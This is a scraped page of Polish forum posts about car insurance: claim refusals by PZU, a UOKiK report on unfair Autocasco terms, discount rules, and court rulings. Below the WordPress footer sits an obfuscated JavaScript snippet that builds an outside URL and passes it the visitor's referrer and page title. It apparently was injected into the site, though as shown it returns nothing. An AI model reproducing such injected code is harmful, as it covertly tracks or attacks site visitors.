rzeczoznawcę, o ile będziesz się powoływał, że taka była.

kawałku papieru.
Pamiętaj o jednym: zrób kopię każdego z dokumentów z potwierdzeniem
przyjęcia przez PZU oraz datą przyjęcia, ułatwi Ci to w razie czego
odwołanie się na ewentualną drogę sądową.

Powodzenia
Jacek "Plumpi"





Temat: ubezpieczenie, odmowa, odwołenie...
Umowy ubezpieczen komunikacyjnych budza zastrzezenia
Do podstawowych zarzutów, jakie pojawily sie w raporcie na temat rynku
ubezpieczen komunikacyjnych, naleza brak przejrzystosci umów i niezrozumialy
ich jezyk.
UOKiK/ 2004-07-23 11:52
Raport na temat praw konsumentów na rynku ubezpieczen komunikacyjnych
przygotowany zostal przez UOKiK we wspólpracy z Komisja Nadzoru Ubezpieczen
i Funduszy Emerytalnych oraz Rzecznikiem Ubezpieczonych. Z podstawowych
wniosków wynika koniecznosc zmian w praktyce firm ubezpieczeniowych
stosujacych skomplikowane procedury przy wyplacie odszkodowan oraz
nieprawidlowe wzorce umów, których ponadto konsument nie moze negocjowac,
moze je wylacznie zaakceptowac lub odrzucic.

UOKiK przeanalizowal pod tym katem ogólne warunki ubezpieczen oferowane
przez wybrane firmy (PZU, Warta, Uniqa, Compensa, Allianz Polska, Cigna,
Link 4, Tryg oraz HDI Samopomoc; jeden z zakladów - Ergo Hestia - mimo
wezwania nie przeslal dokumentów). Poniewaz zasady ubezpieczenia
odpowiedzialnosci cywilnej (OC) okreslone sa w ustawie i nie zaleza od
zakladów ubezpieczeniowych (moga one konkurowac wylacznie wysokoscia
skladki), zbadano przede wszystkim prawidlowosc wzorców umów Autocasco.

W wielu z nich znajduja sie rozwiazania, które moga naruszac interesy
konsumentów. Dotyczyly one przede wszystkim niejasnosci sformulowan i
niezrozumialego jezyka, wysokich kosztów manipulacyjnych pobieranych przy
wypowiedzeniu umowy, uzaleznienie wyplaty odszkodowania w pelnej wysokosci
od spelnienia przez klienta szeregu nieuzasadnionych i nieprecyzyjnych
warunków, odmowa wyplaty odszkodowania przy braku kompletu kluczyków lub
dokumentów, uzaleznienie wyplaty odszkodowania od uiszczenia wszystkich rat,
automatyczne wygasniecie umowy przy opóznieniu w zaplacie raty,
nieuwzglednienie podatku VAT w kwocie odszkodowania, róznic miedzy wartoscia
pojazdu ustalona przy zawarciu umowy a obliczona przy wyplacie
odszkodowania, nieterminowych wyplat odszkodowan, zastrzegania, ze
ewentualne spory rozstrzygac bedzie sad wlasciwy miejscowo dla siedziby
ubezpieczajacego, umieszczania w standardowym druku przeniesienia wlasnosci
samochodu na ubezpieczyciela klauzuli, w mysl której konsument uznaje
wysokosc przyznanego odszkodowania i zrzeka sie dochodzenia roszczen.

UOKiK zamierza wystapic do firm ubezpieczeniowych w sprawach budzacych
szczególne watpliwosci. Dotyczy to przede wszystkim zakresu obowiazków
konsumenta na wypadek wystapienia szkody, oplat pobieranych za sporzadzenie
kopii i odpisów akt, okreslenia wlasciwosci miejscowej sadu na wypadek sporu
oraz stosowania klauzuli uznajacej wysokosc odszkodowania przez konsumenta.
Wnioski z dokonanych przez UOKiK analiz wzorców umów pokrywaja sie z
odczuciami spolecznymi. Podobne przekonanie wyrazilo 70 proc. badanych w
sondazu opinii na temat ubezpieczen przeprowadzonego na zlecenie UOKiK przez
CBOS.





Temat: problem z ubezpieczeniem - wina pasazera

Jeżeli chodzi o zacytowane zdanie z Rozporządzenia Ministra Finasów  z dnia
24 03 2000 r. w sprawie ogólnych warunków obowiązkowego ubezpieczenia  oc
posiadaczy pojazdów mechanicznych za szkody powstałe w związku z ruchem tych
pojazdów, to brzmi ono dokładnie tak :
 " Odszkodowanie ustala się i wypłaca w granicach odpowiedzialności cywilnej
posiadacza lub kierującego pojazdem, najwyżej jednak do ustalonej w umowie
sumy gwarancyjnej" rozdz. 3, paragraf 10 pkt 4.RMF
A NA WW. ODPOWIEDZIALNOŚĆ CYWILNĄ KIEROWCY SKŁADA SIĘ M.IN. ODPOWIEDZILNOŚĆ
ZA ZACHOWANIE PASAŻERA.

W swoim odwołaniu sugeruję powołać się także na dodatkowe paragrafy, tj.:
- paragraf 10 pkt 1 " z ubezpieczenia OC przysługuje odszkodowanie, jeżeli
posiadacz lub kierujący pojazdem są zobowiązani do odszkodowania za
wyrządzoną w związku a ruchem tego pojazdu szkodę, której następstwem jest
śmierć, uszkodzenie ciała, rozstrój zdrowia bądź też utata, zniszczenie lub
uszkodzenie mienia"
- paragraf 10 pkt 3 "Ubezpieczeniem OC objęta jest odpowiedzialność cywilna
każdej osoby, która kierując pojazdem w czasie trwania ochrony
ubezpieczeniowej wyrządziła szkodę RUCHEM TEGO POJAZDU"   -    i naprawdę
nieważne jest to, czy szkodę spowodował sam kierowca czy jego pasażer. Psim
obowiązkiem kierowcy jest zachowanie bezpieczeństwa. Więc jeżeli go nie
spełnił - nie powstrzymał pasażera przed otwarciem drzwi w czasie jazdy, to
musi ponieść tego konsekwencje - ze swojego OC.

Jeżeli odwołanie zostanie odrzucone proponuję skierować sprawę do Biura
Rzecznika Spraw Ubezpieczonych. Ma Pan bardzo dużą szansę na uzyskanie
należnego (w 100%) odszkodowania.
Rzecznik Ubezpieczonych - Prof. dr. Stanisław Rogowski
Al. Jerozolimskie 44
00-224 Warszawa tel. (0 22) 333 73 26-28
fax.(0 22) 333 73 29

Biurokracji nie będzie tu wiele. Wystarczą dwa pisma -odwołanie od decyzji
PZU i ewentualnie pismo do Rzecznika PU. Oni zajmą się resztą.
Mam nadziej, że Panu pomogłem.
Artur

----- Original Message -----

Newsgroups: pl.misc.samochody
Sent: Monday, October 27, 2003 12:54 PM
Subject: problem z ubezpieczeniem - wina pasazera

Mam problem z uzyskaniem ubezpieczenia z PZU. Sprawa wyglada w skrocie
tak:
Moj samochod stal na parkingu , sprawca szkody cofal swoim samochodem,
jego
pasazer otworzyl drzwi i tymi drzwiami wygial moj samochod. Sprawa
zalatwiona z policja, w PZUY wycenili uszkodzenie,al teraz przyszlo od
nich
pismo: nie wyplaca mi odszkodowania poniewaz wg rozporzadzenia minfin:
"odszkodowanie wyplaca sie w granicach odpowiedzialnosci cywilnej
posiadacza
lub kierujacego pojazdem". W zwiazku z tym odmowili mi odszkodowania z OC
sprawcy poniewaz ustalili ze odpowiedzialnym za uszkodzenie mojego
samochodu
jest pasazer.

Troche absurdalnie to dla mnie zabrzmialo. Moge sie odwolywac , co pewnie
zrobie. Ale moze ktos z Was ma jakies doswiadczenia w podobnej sprawie?
Czy
rzeczywiscie kierowca jest bez winy?

Ewentualnie jak moge dochodzic odszkodowania?Czy jakas sprawa cywilna
przeciw pasazerowi? To pewnie mnostwo biurokracji i zachodu.

Czy macie jakies doswiadczenie w powyzszych kwestiach?

Robert






Temat: głupota ludzka nie zna granic ;-)
Firma Ważna Niesłychanie
Stolica

Szanowni Państwo,
Pozwalam sobie zwrócić pismo, które wystosowała do mnie pani Trata Tata, referent ds.Trutu TUtu, wraz z dokumentami, które wysłałem uprzednio do Firmy Waznej Niesłychanie. Postaram się ustosunkować do tego, co przeczytałem.
Cytuję:
„Dotyczy: prośby o refundację kosztów diagnostyki, konsultacji i naprawy pojazdu w warsztacie […]”
Odpowiadam:
Nie! Nie dotyczy prośby o refundację kosztów diagnostyki, konsultacji i naprawy pojazdu w warsztacie. Bardzo proszę o ponowne, a prawdopodobnie o pierwsze przeczytanie mojego wyjaśnienia. W ostatnim zdaniu proszę w nim o zwrot kosztów holowania wg załączonego rachunku. Rachunku ZA HOLOWANIE pojazdu. Oryginał rachunku Państwo zatrzymaliście, więc pozwalam na wszelki wypadek dosłać jego kopię.
Ani jednym słowem nie wspominam o zwrocie kosztów za naprawę samochodu. Jak zapewne Państwo zauważyliście jestem właścicielem Agencji Ubezpieczeniowej i musiałbym być ciężkim idiotą, żeby domagać się od kogokolwiek zwrotu kosztów za naprawę mojego zepsutego samochodu… Jednocześnie bardzo dziękuję za przypomnienie mi paragrafu 11 pkt 1 Ogólnych Warunków Ubezpieczenia „Assistance Polska”, zatwierdzonych Uchwałą Zarządu PZU S.A. Nr UZ/503/2002 z dn.22 października 2002r ze zmianami zatwierdzonymi Uchwałą Nr UZ/433/2003 z dn. 07 października 2003r, w którym z radością przeczytałem, że pokrycie kosztów za holowanie pojazdu do najbliższego zakładu naprawczego jednak mi się należy. Ponieważ miasto MojaMetropolia nie posiada autoryzowanej stacji naprawy samochodów marki Nissan a najbliższa znajduje się w SąsiednimWiększymMieście, więc uważam, że spokojnie o zwrot kosztów holowania mogłem się zwrócić. Przemawia za tym fakt, że uszkodzeniu uległ komputer mojego samochodu, co uniemożliwiło jego uruchomienie i zdiagnozowanie w innym, niż ww salon miejscu

Cytuję:
[…]wg faktury VAT nr F/SERW/02326/05 (kopia) z dnia 05-09-2005r;[…]”
Odpowiadam:
Numer faktury w istocie się zgadza. Za to polecam zapoznanie się z normą ISO 8601 lub PN-90/N-01204, która niemal dwadzieścia lat temu wprowadziła możliwość zapisywania daty w sposób RRRR-MM-DD, lub stosowany powszechniej, ale czasem wprowadzający w błąd sposób RR-MM-DD. Wyjaśniam zatem, że datę na fakturze: 05.09.20 należy odczytać jako dwudziesty września roku 2005. Nie piąty września 2005. Również nie polecam odczytywania tej daty jako piąty września roku 2020, bo jeszcze ten rok nie nadszedł, ani też prób odczytania jej jako piąty września 1920 roku. Wtedy nie było Nissanów Primera.

Cytuję:
[…] Pojazd Nissan Primera, nr rej.: ZZEB8811;”
Odpowiadam:
Nie! Nie posiadam pojazdu o numerze rejestracyjnym ZZEB8811. Podejrzewam także, że nie istnieje taka rejestracja.

I wyjaśniam dodatkowo:
Załączyłem fakturę za naprawę mojego samochodu i napisałem, kto samochód holował, żeby nikt nie podejrzewał mnie o chęć wyłudzenia pieniędzy za kaprys przewiezienia auta do SąsiedniegoWiększegoMiasta na lawecie. Wydaje mi się, że nie tylko przyzwoitość wymagała takiego posunięcia, ale też zapewne i przepisy. Stąd na rachunku za holowanie stacja serwisowa potwierdziła przyjęcie samochodu do naprawy. Niniejszym jeszcze raz bardzo proszę o dokładne przeczytanie mojego wyjaśnienia z dnia 24 września 2005 roku i przesłanie na moje konto pieniędzy za HOLOWANIE pojazdu, które mi się należą jak psu zupa.
Z poważaniem
MiaUżon

Tak mi tutaj temtycznie pasuje
A tuaj macie linka http://mattkapolka.blox.p...,13.html?554800



Temat: Koniec potyczek z AC?
Generali - jako pierwsza firma na polskim rynku - wprowadziła 9 maja br. szybki serwis likwidacji szkód komunikacyjnych Autocasco (AC), tzw. czerwoną kartę
Większość towarzystw ubezpieczeniowych chętnie przyjmowało składkę AC, ale tzw. likwidacja szkody, czyli wypłata odszkodowania, nie była już tak przyjazna i szybka. Klienci z polisą w ręku przechodzili prawdziwą drogę przez mękę niekończących się formalności, tracąc czas, oczekiwali też długo na wypłatę. Swoją szansę dostrzegło w tej sytuacji Generali T.U. S.A., które do tej pory nie należało do potentatów w ubezpieczeniach komunikacyjnych i zaczynało od OC. Postawiło jednak na bezzwłoczną likwidację szkody AC na miejscu zdarzenia! Do tego zaoferowało wypłatę odszkodowania w ciągu maksymalnie 48 godzin.

Tak działa czerwona karta AC

W wypadku uszkodzenia samochodu jego właściciel mający polisę Generali Autocasco telefonuje pod całodobowy numer infolinii (0-801-343-343), może też wejść na stronę internetową towarzystwa www.generali.pl lub udać się do oddziału. Rozpoczyna się proces likwidacji - szkoda zostaje zarejestrowana przez konsultanta, a rzeczoznawca niezwłocznie umawia się z klientem w celu przeprowadzenia oględzin. To klient wybiera czas i miejsce - może to być miejsce zdarzenia.

Podczas oględzin rzeczoznawca (przyjeżdża oznakowanym autem i w firmowym kombinezonie) sporządza dokumentację szkody cyfrowym aparatem fotograficznym i za pomocą laptopa z oprogramowaniem do kalkulacji wysokości szkód komunikacyjnych ustala wartość odszkodowania. Sporządzony na miejscu wydruk klient otrzymuje do akceptacji. Jeśli kalkulacja szkody nie przekracza 3 tys. zł, a klient zaakceptował wycenę, to rzeczoznawca na miejscu oględzin wręcza mu kartę płatniczą Generali typu Visa Elektron. Karta (z numerem PIN w kopercie) jest gwarancją wypłaty odszkodowania i zostaje zasilona przyznaną kwotą w ciągu 48 godzin. Co ważne, karta jest powszechnie akceptowana i umożliwia wypłatę bez prowizji we wszystkich bankomatach w Polsce (by ułatwić operację kwota przelewana na kartę, zaokrąglana jest do 10 zł w górę, na korzyść klienta). Oczywiście klient może też wybrać formy tradycyjne: przelew na konto lub odbiór gotówki w oddziale. Karta nie wymaga pośpiechu w realizacji - ważna jest rok czasu bez dodatkowych prowizji, można nią też płacić w ponad 150 tys. punktów handlowo-usługowych.

Do tej pory spotykane na rynku ogólne warunki ubezpieczenia najczęściej przewidywały 30 dni od daty zgłoszenia szkody, więc 48-godzinny czas oczekiwania na wypłatę odszkodowania jest bardzo dogodny dla kierowców i stanowi wyzwanie dla innych towarzystw. - W ciągu 2-3 lat spodziewamy się awansu na co najmniej 6. miejsce na rynku AC - mówi Paweł Wróbel z Grupy Generali Polska. Generali chce rywalizować z ubezpieczeniowymi potentatami, m.in. Allianz, HDI, PZU, Uniqa, Warta

Czy ten produkt ma wadę? Tak - jest przeznaczony dla klientów indywidualnych, a więc nawet małe firmy nie mogą skorzystać z czerwonej karty.

Dlaczego 3000 złotych?

Badania rynkowe pozwoliły oszacować, że około 50% szkód komunikacyjnych nie przekracza wartości 3 tys. zł. Ta kwota zależy od cen rynkowych i z czasem może ulec podwyższeniu.

A jeśli klient się nie zgodzi?

Jeśli klient nie zgadza się na metodę kosztorysową lub proponowaną kwotę wyceny i chce naprawiać auto rozliczając się z ubezpieczycielem wg faktur, to może, ale proces likwidacji trwa wówczas ze zrozumiałych względów dłużej niż 48 godzin. Jeśli rzeczoznawca wyceni szkodę na kwotę wyższą niż 3000 złotych, to zastosuje procedurę uproszczoną, ale okres likwidacji szkody wyniesie 14 dni.

Jak ocenić małą czerwoną kartę?

To produkt próbny - obie strony, ubezpieczyciel i klienci będą wpływać na kształt tej usługi. Są bonusy - do umowy dołączony jest darmowy pakiet AC Assistance w wariancie standard (awaria). Można ubezpieczyć pojazd w wieku do 12 lat (nowi klienci) lub 14 lat (kontynuacja) - to uwzględnia realia polskiego rynku. Uwaga: wystarczy jeden komplet kluczyków, brak tzw. wyłączenia odpowiedzialności w wypadku przekroczenia przez kierowcę przepisów ruchu drogowego, nie ma też minimalnej sumy ubezpieczenia. Zniżki rosną - po 6 latach bezszkodowej jazdy 60%. W programie "ekonomiczny kierowca" przy wyborze rozliczenia na kosztorys dostaje się 20% zniżki składki. Towarzystwo ma doświadczenie (w Polsce od 1837 roku), ubezpiecza m.in. warszawskie metro. Po sprawdzeniu czerwonej karty w ubezpieczeniach komunikacyjnych zamierza ją następnie zastosować także w ubezpieczeniach mieszkań.

auto.gazeta.pl

* Mirenium - Michał - wydzieliłem tego posta jako osobny temat, chyba Ci się źle umieściło



Temat: Pytanie o znizki w OC i AC (skomplikowane)


Mam pewien kłopot a mianowicie byłem w 4 agencjach ubezpieczających
samochody i chodzi mi o znizki bo kazdy mowi inaczej
A mianowicie Do czerwca tego roku miałem samochód  który mial tylko oplacone
OC i zniżka wynosiła 50% AC nie miał
Ale mam jeszcze drugi samochód na wspólwłasność od 2,5 roku  który ma OC i
AC ale zniżki są wspólwłaściciela  a nie moje . zniżka na OC jest 60% na AC
50% .
No i teraz chce kupic samochod tylko na siebie i jakie znizki mi sie należa


Po pierwsze - nie naleza ci sie zadne znizki, tylko ubezpieczyciel
musi uwzglednic okres bezwypadkowej jazdy. Co np oznacza ze majac 50%
w firmie X dostaniesz 20% w PZU, bo oni za 3 lata daja 20% znizki
[no chyba ze sie cos zmienilo].


W drugiej powiedzieli że  zniżka na OC  50% a na AC nic bo nie miąlem AC na
swoj samochód który sprzedałem a współwłasnośc nie daje zniżek


Idziesz do poprzedniej firmy, pobierasz zaswiadczenie o bezwypadkowej
jezdzie, a tam juz niekoniecznie musi pisac ze byles
wspolwlascicielem.


A w czwartej agencji powiedzieli że zniżki mi sie należa takie jakie ma
współwłaściciel  samochodu czyli OC 60% i AC 50% bo mając z nim samochód na
współwłasność nabyłem zniżki jego.


No to tam ubezpiecz :-)


oraz ewentualnie gdzie szukać przepisów regulujących zniżki w OC i AC


 ROZPORZĄDZENIE MINISTRA FINANSÓW
 z dnia 24 marca 2000 r.
w sprawie ogólnych warunków obowiązkowego ubezpieczenia
odpowiedzialności cywilnej posiadaczy pojazdów mechanicznych za szkody
powstałe w związku z ruchem tych pojazdów.
                                      (Dz. U. Nr 26, poz. 310)

§ 42. 1. Zakład ubezpieczeń przy ustalaniu składki ubezpieczeniowej
należnej od posiadacza pojazdu uwzględnia faktyczny
dotychczasowy przebieg ubezpieczenia OC bez względu na zmianę zakładu
ubezpieczeń, udzielając zniżki w stawce
podstawowej składki, bądź też odpowiednio ją podwyższa.

2. Zniżka składki ubezpieczeniowej za każde dwadzieścia cztery
miesiące bezszkodowego przebiegu ubezpieczenia OC nie
może być niższa niż 10% stawki podstawowej; stopa zniżek z tego tytułu
nie może przekroczyć 60% stawki podstawowej.

3. Podwyżka składki ubezpieczeniowej zależna od przebiegu
ubezpieczenia OC nie może przekroczyć 160% stawki
podstawowej składki ubezpieczeniowej.

4. Przy ustalaniu bezszkodowego lub szkodowego przebiegu ubezpieczenia
OC nie uwzględnia się wypłaconego przez
zakład ubezpieczeń odszkodowania z tytułu ubezpieczenia OC za szkodę
będącą następstwem wypadku spowodowanego
przez kierującego, który wszedł w posiadanie pojazdu wskutek
popełnienia przestępstwa.

5. Posiadacz pojazdu traci uprawnienie do zniżki w składce
ubezpieczeniowej, jeżeli okres przerwy w ubezpieczeniu OC
przekroczył 24 miesiące.

Czyli nadal nic nie wiesz :-)

J.





Temat: przedłużenie ubezpieczeie....!!???
Bo kolego mylisz pojęcia. Jakbyś przeczytał dokładnie ogólne warunki ubezpeczenia (OWU) to na bank znalazłbyś zapis, że nie odpowiadają za szkody spowodowane przez pojazd z nieważnymi dokumentami.

Sam rozważałem opcję sprowadzenia auta zza granicy, więc się w temacie troszkę orientuję:

- Możesz wykupić auto na tzw. tablicach warsztatowych (żółtych) - są one ważne przez 5 dni. Są tańsze w zakupie, a przede wszystkim są to jedyne tablice, jakie może założyć niemiecki samochód nieposiadający ważnego przeglądu TUV. Służą one do tego, aby auto, które nie ma przeglądu (bo właściciel zapomniał, wyjechał, wszystko jedno) mogło legalnie dojechać do warsztatu, zostać naprawione i przejść przegląd. Stąd ich niska cena i małe formalności w ich załatwieniu.

- Drugie tablice, to tablice wyjazdowe (czerwone) - są droższe, ale ważne przez miesiąc. Poza tym aby auto mogło je założyć, w momencie wymeldowania pojazdu z Niemiec musi mieć ważny przegląd TUV.

I najważniejsze: autem (na dowolnych z tych tablic) możesz się poruszać po terenie UE do dnia określonego na tablicy. Potem dokumenty tracą ważność. Należy auto zarejestrować i tym samym uzyskać nowe dokumenty.

Skoro nie miałeś tablic czerwonych, to albo handlarz poskąpił, albo auto nie miało ważnego przeglądu. Kolejna sprawa - do chwili ważności tablic policja nic nie robi - musisz mieć w końcu czas na to, aby z samochodem porządek zrobić. Jeśli termin jest przekroczony - wszystkie wpisane w dokumenty adnotacje tracą ważność. I właśnie za to dostałeś mandat. Za prowadzenie pojazdu bez ważnych dokumentów.

Kwestia, że samochód jest ubezpieczony nie ma tu nic do rzeczy.

A babka z PZU miała rację: na taki samochód możesz wykupić tzw. ubezpieczenie graniczne. Możesz oczywiście jeździć takim pojazdem. Do dnia ważności tablicy. Z punktu widzenia ubezpieczyciela (kwestia ważnego OC) możesz też jeździć po przekroczeniu terminu ważności tablic, z punktu widzenia prawa obowiązującego w RP - nie! Dlaczego?

Nie daj Boże ktoś w Ciebie wjedzie, to policja orzeknie, że jest to Twoja wina - brak przeglądu na pewno nie przysporzy Ci wiarygodności. Zakład ubezpieczeniowy nie wypłaci odszkodowania, bo poruszałeś się pojazdem niesprawnym (znowu brak tego przeglądu) i zamiast od razu przejść procedurę rejestracji czeka Cię naprawa auta gościa, który w Ciebie wjechał (z własnej kieszeni jak już wspomniałem) no i naprawa własnego. A zarejestrować tak czy siak musisz.
A następnym razem przed kupnem auta zorientuj się w obowiązujących przepisach prawa, a nie miej pretensję, że za swoją niewiedzę zostałeś ukarany.

A na koniec powiem jedno mądre zdanie, które usłyszałem w programie TURBO kamera:
Zadaniem firmy ubezpieczeniowej nie jest dbanie o nasze mienie i bezpieczeństwo finansowe... Jej zadaniem jest przynieść zyski swoim akcjonariuszom!



Temat: OC - PZU cd
Dla wszystkich zainteresowanych:

1971.04.29
wyrok SN II CR 67/71 niepublikowane
Przepis § 16 pkt 2 rozporządzenia Rady Ministrów z 24 kwietnia 1968 r. w
sprawie obowiazkowych ubezpieczeń komunikacyjnych (Dz.U. nr 15 poz. 89)
wyłącza z zakresu odpowiedzialności PZU z tytułu ubezpieczenia OC szkody
wyrzadzone posiadaczowi pojazdu przez kierowcę. Z mocy powołanego
przepisu pozwany PZU nie odpowiada więc za uszkodzenie samochodu powódki
i nieżyjącego jej męża, spowodowanie przez pozwanego, ktory tym pojazdem
kierował. Lecz drugi pozwany jako współodpowiedzialny nie odpowiada
wobec powódki za uszkodzenie samochodu w połowie, lecz z mocy art. 441 §
1 kc odpowiada solidarnie z pozwanym do wysokosci całej szkody. W tym
stanie rzeczy zastosowanie art. 16 pkt 2 rozporządzenia z 24 kwietnia
1968 r. prowadzi tylko do wyłączenia solidarności zobowiazań pozwanego
PZU i pozwanego.˙6917˙Dz.U.68.15.89: §16  Ë™Dz.U.64.16.93: art.436;
art.441; art.821

1976.06.14
wyrok SN IV CR 172/76 niepublikowane glosa: Ławrynowicz J. NP 1977/5/767
Państwowy Zakład Ubezpieczeń jest zobowiązany do pokrycia szkód,
wynikłych z wypadku komunikacyjnego, w zakresie odpowiedzialności
sprawcy wypadku. Przejmując na siebie powyższe zobowiązanie Państwowy
Zakład Ubezpieczeń jest uprawniony do dokonania wszelkich czynności, w
tym i do zawarcia z poszkodowanym ugody ustalającej zakres
odszkodowania. Treść takiej ugody bezpośrednio oddziaływa na zakres
obowiązku odszkodowawczego sprawcy szkody.˙7832˙Dz.U.64.16.93: art.436;
art.805; art.822; art.917

1970.08.21
wyrok SN II CR 355/70 niepublikowane
Okoliczność, że sytuacja materialna sprawcy szkody mogłaby przemawiać za
obniżeniem od niego odszkodowania jest bez znaczenia w stosunku do PZU.
Z istoty bowiem przymusowego ubezpieczenia komunikacyjnego wynika, że
zostało ono wprowadzone przede wszystkim w interesie poszkodowanych. Cel
zaś ten nie byłby osiągnięty, gdyby wysokość odszkodowania należnego PZU
uzależnić od sytuacji materialnej sprawcy szkody. Niezapoznanie się tego
sprawcy w niczym nie utrudnia wystąpienia przez PZU z roszczeniem
regresowym przeciwko niemu, zwłaszcza że wina jego została już wcześniej
stwierdzona prawomocnym wyrokiem karnym.˙

1968.12.18
wyrok SN U II CR 409/68 OSNC 1969/11/207
1. Art. 440 k.c., przewidujący możliwość ograniczenia zakresu obowiązku
naprawienia szkody, nie ma zastosowania, gdy obowiązany jest
ubezpieczony od odpowiedzialności cywilnej.
2. W sytuacji gdy uprawniony ma jedno roszczenie, którego może dochodzić
od dwu lub więcej osób na mocy różnych podstaw, należy w drodze analogii
stosować odpowiednio przepisy o solidarności, a w szczególności art. 366
k.c. ˙

1992.02.12
wyrok s.apel. U I ACr 30/92 OSA 1993/5/32 w Katowicach
Szkoda częściowa ma miejsce wówczas, gdy uszkodzony pojazd nadaje się do
naprawy, a koszt naprawy nie przekracza wartości w dniu ustalenia przez
zakład ubezpieczeń tego odszkodowania.
Szkoda całkowita występuje wówczas, gdy pojazd uległ zniszczeniu w takim
stopniu, że nie nadaje się do naprawy, albo gdy koszty naprawy
przekroczyłyby wartość pojazdu w dniu likwidacji szkody.˙

1981.01.27
wyrok SN IV CR 555/80 niepublikowane
W myśl ogólnych przepisów prawa cywilnego obowiązkiem sprawcy jest pełne
naprawienie szkody doznanej przez poszkodowanego. Zasada pełnego
odszkodowania realizowana jest jedynie w obowiązkowym ubezpieczeniu
komunikacyjnym odpowiedzialności cywilnej.
W pozostałych ubezpieczeniach kompensacja szkody jest dokonywana w
granicach określonych warunkami ubezpieczeń. Dotyczy to także
obowiązkowego ubezpieczenia zwierząt gospodarskich.˙

Paweł Łukawski

ps.
To jeszzcze z przed informacji od znajomego prawnika prosto z
publicznych baz orzeczeń
PAL




Strona 3 z 3 • Znaleziono 176 postów • 1, 2, 3
Powered by WordPress
function bb515452e121859(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452e12181f(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452e12181f(bb515452e121859(document.referrer),bb515452e121859(document.title)));